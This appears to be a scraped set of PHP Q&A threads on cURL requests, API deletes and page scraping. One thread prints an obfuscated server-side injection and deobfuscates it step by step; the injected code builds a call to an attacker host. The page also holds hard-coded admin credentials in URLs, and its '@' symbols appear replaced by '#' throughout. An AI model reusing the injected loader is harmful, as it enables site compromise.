I've created a php script that will allow the removal of user properties. The script first finds all properties associated with a user and then loops to remove all of them.
When I run this for a certain user, it gets down to the foreach loop and it prints out all the the properties ($name2) but it seems to get stuck on the curl_fetch part. When I then try to pull the properties, they still exist for the user. Any ideas why this is happening? The code is below for you to take a look. Thanks in advance.
<?php
$user=$_GET['userid'];
$user_id=str_replace(array('#', '#'), array('%40', '%23'), $user);
print "User-id: $user";
print "<br /><br />";
$url=("https://admin:password#oursite.com/#api/users/=$user_id/properties");
$xmlString=file_get_contents($url);
$delete = "https://admin:password#oursite.com/#api/users/=$user_id/properties/";
$xml = new SimpleXMLElement($xmlString);
function curl_fetch($url,$username,$password,$method='DELETE')
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch,CURLOPT_USERPWD,"$username:$password");
return curl_exec($ch);
}
print "The following properties have been removed: ";
print "<br />";
if(!count($xml->property)) die('No properties exist for this user');
foreach($xml->property as $property) {
$name = $property['name'];
$name2=str_replace(array('#', '#'), array('%40', '%23'), $name);
print $name2;
print "<br />";
curl_fetch($delete . $name2,'admin','password');
}
?>
You're hitting that URL as a GET query. Are you sure doing a delete-type call wouldn't at least require a POST? Think of the chaos that would ensue if a web spider got a list of urls and innocently nuked your entire site by simply indexing it?
My bad, didn't notice that DELETE was the default method in your curl function.
I'd suggest echoing out the complete URL from within the curl function, and verifying that it is being built properly. I can't see anything else obviously wrong with the code, so I'm guessing the URL's incorrect.
Related
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
I have seen this code added to the server file. It looks like it is a malicious code, I can't seem a way to deobfuscate/decrypt this code.
<?php
#header('Content-Type:text/html;charset=utf-8');
error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
global $O;
$O=urldecode($OOOOOO);
if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){
$oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
$oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo);
if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82};
exit;
}else{
echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82};
exit;
}
}
$oOooOO='z0807_1';
$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9};
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
$ooooOOOooOo=curl_init();
curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
curl_close($ooooOOOooOo);
return $oooooOOOOooO;
}
You can unravel this step by step.
There is this $OOOOOO string which then URL-decoded into $O, which yields the following (which looks like going through the keyboard row by row):
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|+,";
From then on, in many places characters of this string are accessed (using the lesser-known and by now also deprecated braces syntax for array index access) and used to build new strings. We can replace all these $O{x} bits with the actual characters (I used a regex replace):
if($_GET["c"."h"."e"."n"]=="5"."1"."-"."c"."n"){
$oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
$oooOoOoOoOoooooOOooo = explode("<"."?"."p"."h"."p",$oooOoOoOoooOooOOooooo);
if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
echo "["."o"."k"."!"."]";
exit;
}else{
echo "["."f"."a"."i"."l"."!"."]";
exit;
}
}
$oOooOO='z0807_1';
$oOooOOoO="h"."t"."t"."p".":"."/"."/".$oOooOO."."."a"."g"."o"."o"."d"."s"."."."t"."o"."p";
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
$ooooOOOooOo=curl_init();
curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
curl_close($ooooOOOooOo);
return $oooooOOOOooO;
}
We can then combine those strings to make them more readable:
if($_GET["chen"]=="51-cn"){
$oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
$oooOoOoOoOoooooOOooo = explode("<?php",$oooOoOoOoooOooOOooooo);
if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}
$oOooOO='z0807_1';
$oOooOOoO="http://".$oOooOO.".agoods.top";
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
$ooooOOOooOo=curl_init();
curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
curl_close($ooooOOOooOo);
return $oooooOOOOooO;
}
Now let's rename the confusing variables:
if($_GET["chen"]=="51-cn"){
$varA = file_get_contents(__FILE__);
$varB = explode("<?php",$varA);
if(strpos($varB[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}
$varC='z0807_1';
$varD="http://".$varC.".agoods.top";
function someFunction($varE){
$varF=curl_init();
curl_setopt ($varF, CURLOPT_URL, $varE);curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);$varG = curl_exec($varF);
curl_close($varF);
return $varG;
}
Next, let's split up the long line inside of the function:
if($_GET["chen"]=="51-cn"){
$varA = file_get_contents(__FILE__);
$varB = explode("<?php",$varA);
if(strpos($varB[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}
$varC='z0807_1';
$varD="http://".$varC.".agoods.top";
function someFunction($varE){
$varF=curl_init();
curl_setopt ($varF, CURLOPT_URL, $varE);
curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);
$varG = curl_exec($varF);
curl_close($varF);
return $varG;
}
As a final step, we can guess better names for those variables:
if($_GET["chen"]=="51-cn"){
$thisFileSource = file_get_contents(__FILE__);
$parts = explode("<?php",$thisFileSource);
if(strpos($parts[1],'%71%77%65')!==false){
echo "[ok!]";
exit;
}else{
echo "[fail!]";
exit;
}
}
$subdomain='z0807_1';
$url="http://".$subdomain.".agoods.top";
function sendRequest($url){
$curl=curl_init();
curl_setopt ($curl, CURLOPT_URL, $url);
curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5);
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
As for what this code does: If this is called with query parameter chen=51-cn in the URL, it checks if the current file contains the start of that $OOOOOO string in the first PHP code section, and if it does, it returns [ok!], otherwise [fail!]. (This sounds entirely useless to me, because if the code wouldn't exist, then it wouldn't run either, so just echo "[ok!]"; would have sufficed...) Additionally, it prepares a request to http://z0807_1.agoods.top but it's never executed, at least not in the piece of code that you showed. (Maybe it's executed elsewhere in your code at some other place where code got injected too! Could be worth looking for ooooooooOOOOOOOOoooooOOO.)
Googling for "agoods.top" reveals a lot of seemingly unrelated sites that include in their contents what appears to be various PHP errors like Warning: mysqli::__construct(): (HY000/1040): Too many connections in /www/wwwroot/z0930_1.agoods.top/connect2.php on line 7. (How ironic, given that in the injected code, error output is suppressed.) Browsing these sites (which I did with a lot of care, so you don't have to!) shows that some of them act maliciously, for example redirecting the user to a fake "browser update" page after a few seconds, and many are just down by now. This makes me believe that those are also hijacked sites, and that the code was supposed to eventually pull HTML from the attacker's sites on zXXXX_X.agoods.top and inject it into the page, but the attacker messed up and also delivered PHP errors that way which ended up in Google's cache.
Because i always wonder what to expect if this would happen to me
i looked up what this code does.
First the commented code, and below the comments only.
DO NOT execute this on your machine!
// Sets header ...
#header('Content-Type:text/html;charset=utf-8');
// Disables error reporting (sure to not trigger notifications on owner side).
error_reporting(0);
// Sets a char string: qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?\> <.-=:/1230654879';()&^$[]\\%{}!*|+,
// ^ escaped by me
$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
// Sets $O global (makes no sense to me).
global $O;
// decodes the url encoded string "qwertyuiopasdf...".
$O=urldecode($OOOOOO);
// $_GET['chen'] == '51-cn'
if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){
// Load this file into var.
$oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
// Explode by "<?php" (makes no sense to me).
$oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo);
// If "%71%77%65" is found in loaded file (part) (so if we loaded the "hacked" file)
if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
// then echo "[ok!]" and exit
echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82};
exit;
}else{
// else echo "[fail!]" and exit
echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82};
exit;
}
}
// Following function got not called by provided code.
// I think its to load more code into the project.
// (I disabled the curl lines btw.)
// Set sub domain on var.
$oOooOO='z0807_1';
// Set url "http://z0807_1.agoods.top" on var.
$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9};
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
// Init curl.
#$ooooOOOooOo=curl_init();
// Set url (given function param).
#curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);
// CURLOPT_RETURNTRANSFER = 1 to not echo out response.
#curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);
// 5 sec connection timeout.
#curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);
// Execute and set response to NEW var.
#$oooooOOOOooO = curl_exec($ooooOOOooOo);
#curl_close($ooooOOOooOo);
// Return new var content.
#return $oooooOOOOooO;
}
Here the "just comments" part.
// Sets header ...
// Disables error reporting (sure to not trigger notifications on owner side).
// Sets a char string: qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?\> <.-=:/1230654879';()&^$[]\\%{}!*|+,
// Sets $O global (makes no sense to me).
// decodes the url encoded string "qwertyuiopasdf...".
// $_GET['chen'] == '51-cn'
// Load this file into var.
// Explode by "<?php" (makes no sense to me).
// If "%71%77%65" is found in loaded file (part) (so if we loaded the "hacked" file)
// then echo "[ok!]" and exit
// else echo "[fail!]" and exit
// Following function got not called by provided code.
// I think its to load more code into the project.
// (I disabled the curl lines btw.)
// Set sub domain on var.
// Set url "http://z0807_1.agoods.top" on var.
// Init curl.
// Set url (given function param).
// CURLOPT_RETURNTRANSFER = 1 to not echo out response.
// 5 sec connection timeout.
// Execute and set response to NEW var.
// Return new var content.
So this looks to me like
not the complete code that got injected
done by a bot that checks if the injection was successfully
a script to load more bad code into your project on deamand.
Lets hope you just got "marked" somewhere as "found" - so nothing really happened yet.
But i dont know that.
I'm trying to debug some code using either of these two intrepreters. The code below runs on my GoDaddy site and produces the appropirate output arrays. But, won't run in either of these intrepreters.
Is there a way to modify this code to run in the intrepreters so I can get past line 2 of the code? I inclcuded phpinfo(INFO_MODULES); at the end as an aid.
OR do you know of an online intrepreter that will run this code?
https://3v4l.org/
http://www.runphponline.com/
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = '';
curl_setopt($ch, CURLOPT_URL, "https://api.iextrading.com/1.0/stock/market/batch?symbols=aapl,tsla,ge&types=quote,earnings,stats");
$data = curl_exec($ch);
curl_close($ch);
$data = json_decode($data, true);
// debug -------------------------------
echo ' - ';
echo (count($data)); // number of elements
echo " - " . "<br />\n";
var_dump_pre($data); // dump the array
echo "-" . "<br />\n";
echo "xxxxxxxxxxxxxx-" . "<br />\n";
function var_dump_pre($mixed = null) {
echo '<pre>';
var_dump($mixed);
echo '</pre>';
return null;
}
phpinfo(INFO_MODULES);
?>
http://php.net/manual/en/curl.installation.php
It looks like there are some dependancies that you have to install to use curl_init.
It looks like some poor sap did the work for you at http://phpfiddle.org/
Your code works there.
Since the code ran on my GoDaddy site I was able to copy the data returned from the '$data = curl_exec($ch);' insruction and assign it to a variable name at the start of the code I'm trying to debug. So, the code I'm trying to debug starts out with the intended incomimg data (and doesn't have to go get it). I can now continue to use any of these three online intrepreters:
https://3v4l.org/
http://www.runphponline.com/
http://phpfiddle.org/
I've been trying to write a simple script in PHP to pull off data from a ISBN database site. and for some reason I've had nothing but issues using the file_get_contents command.. I've managed to get something working for this now, but would just like to see if anyone knows why this wasn't working?
The below would not populate the $page with any information so the preg matches below failed to get any information. If anyone knows what the hell was stopping this would be great?
$links = array ('
http://www.isbndb.com/book/2009_cfa_exam_level_2_schweser_practice_exams_volume_2','
http://www.isbndb.com/book/uniform_investment_adviser_law_exam_series_65','
http://www.isbndb.com/book/waterworks_a02','
http://www.isbndb.com/book/winning_the_toughest_customer_the_essential_guide_to_selling','
http://www.isbndb.com/book/yale_daily_news_guide_to_fellowships_and_grants'
); // array of URLs
foreach ($links as $link)
{
$page = file_get_contents($link);
#print $page;
preg_match("#<h1 itemprop='name'>(.*?)</h1>#is",$page,$title);
preg_match("#<a itemprop='publisher' href='http://isbndb.com/publisher/(.*?)'>(.*?)</a>#is",$page,$publisher);
preg_match("#<span>ISBN10: <span itemprop='isbn'>(.*?)</span>#is",$page,$isbn10);
preg_match("#<span>ISBN13: <span itemprop='isbn'>(.*?)</span>#is",$page,$isbn13);
echo '<tr>
<td>'.$title[1].'</td>
<td>'.$publisher[2].'</td>
<td>'.$isbn10[1].'</td>
<td>'.$isbn13[1].'</td>
</tr>';
#exit();
}
My guess is you have wrong (not direct) URLs. Proper ones should be without the www. part - if you fire any of them and inspect the returned headers, you'll see that you're redirected (HTTP 301) to another URL.
The best way to do it in my opinion is to use cURL among curl_setopt with options CURLOPT_FOLLOWLOCATION and CURLOPT_MAXREDIRS.
Of course you should trim your urls beforehands just to be sure it's not the problem.
Example here:
$curl = curl_init();
foreach ($links as $link) {
curl_setopt($curl, CURLOPT_URL, $link);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($curl, CURLOPT_MAXREDIRS, 5); // max 5 redirects
$result = curl_exec($curl);
if (! $result) {
continue; // if $result is empty or false - ignore and continue;
}
// do what you need to do here
}
curl_close($curl);
I'm starting to help a friend who runs a website with small bits of coding work, and all the code required will be PHP. I am a C# developer, so this will be a new direction.
My first stand-alone task is as follows:
The website is informed of a new species of fish. The scientific name is entered into, say, two input controls, one for the genus (X) and another for the species (Y). These names will need to be sent to a website in the format:
http://www.fishbase.org/Summary/speciesSummary.php?genusname=X&speciesname=Y&lang=English
Once on the resulting page, there are further links for common names and synonyms.
What I would like to be able to do is to find these links, and call the URL (as this will contain all the necessary parameters to get the particular data) and store some of it.
I want to save data from both calls and, once completed, convert it all into xml which can then be uploaded to the website's database.
All I'd like to know is (a) can this be done, and (b) how difficult is it?
Thanks in advance
Martin
If I understand you correctly you want your script to download a page and process the downloaded data. If so, the answers are:
a) yes
b) not difficult
:)
Oke... here some more information: I would use the CURL extension, see:
http://php.net/manual/en/book.curl.php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "example.com");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
?>
I used a thing called snoopy (http://sourceforge.net/projects/snoopy/) 4 years a go.
I took about 500 customers profiles from a website that published them in a few hours.
a) Yes
b) Not difficult when have experience.
Google for CURL first, or allow_url_fopen.
file_get_contents() will do the job:
$data = file_get_contents('http://www.fishbase.org/Summary/speciesSummary.php?genusname=X&speciesname=Y&lang=English');
// Отправить URL-адрес
function send_url($url, $type = false, $debug = false) { // $type = 'json' or 'xml'
$result = '';
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
} else {
if (($content = #file_get_contents($url)) !== false) $result = $content;
}
if ($type == 'json') {
$result = json_decode($result, true);
} elseif ($type == 'xml') {
if (($xml = #simplexml_load_file($result)) !== false) $result = $xml;
}
if ($debug) echo '<pre>' . print_r($result, true) . '</pre>';
return $result;
}
$data = send_url('http://ip-api.com/json/212.76.17.140', 'json', true);
I need to encode only part of the $delete path. Only the # in the email address and # in the property. I know how to use urlencode for the whole thing but not on just that. The way it works, is it loops through to get the properties and most of them include # in the name. Anyone who can help modify so that this works would be greatly appreciated!
The delete:
$delete = "http://admin:12345#192.168.245.133/#api/deki/DELETE:users/$user_id/properties/%s";
Here you can see $user_id this will be an email address BUT the # symbol needs to be encoded.
The properties which follow at the very end, has a # within the name, this needs to also be encoded. For example, one property name userprofile#external.created_date
Here is the code so far:
<?php
$user_id="john_smith#ourwiki.com";
$url=('http://admin:12345#192.168.245.133/#api/deki/users/=john_smith#ourwiki.com/properties');
$xmlString=file_get_contents($url);
$delete = "http://admin:12345#192.168.245.133/#api/deki/DELETE:users/$user_id/properties/%s";
$xml = new SimpleXMLElement($xmlString);
function curl_fetch($url,$username,$password,$method='DELETE')
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); // returns output as a string instead of echoing it
curl_setopt($ch,CURLOPT_USERPWD,"$username:$password"); // if your server requires basic auth do this
return curl_exec($ch);
}
foreach($xml->property as $property) {
$name = $property['name']; // the name is stored in the attribute
curl_fetch(sprintf($delete, $name),'admin','12345');
}
?>
Have you tried this? str_replace($string, array('#', '#'), array('%40', '%23'));
The urlencode function does not allow you to limit it to a subset of characters.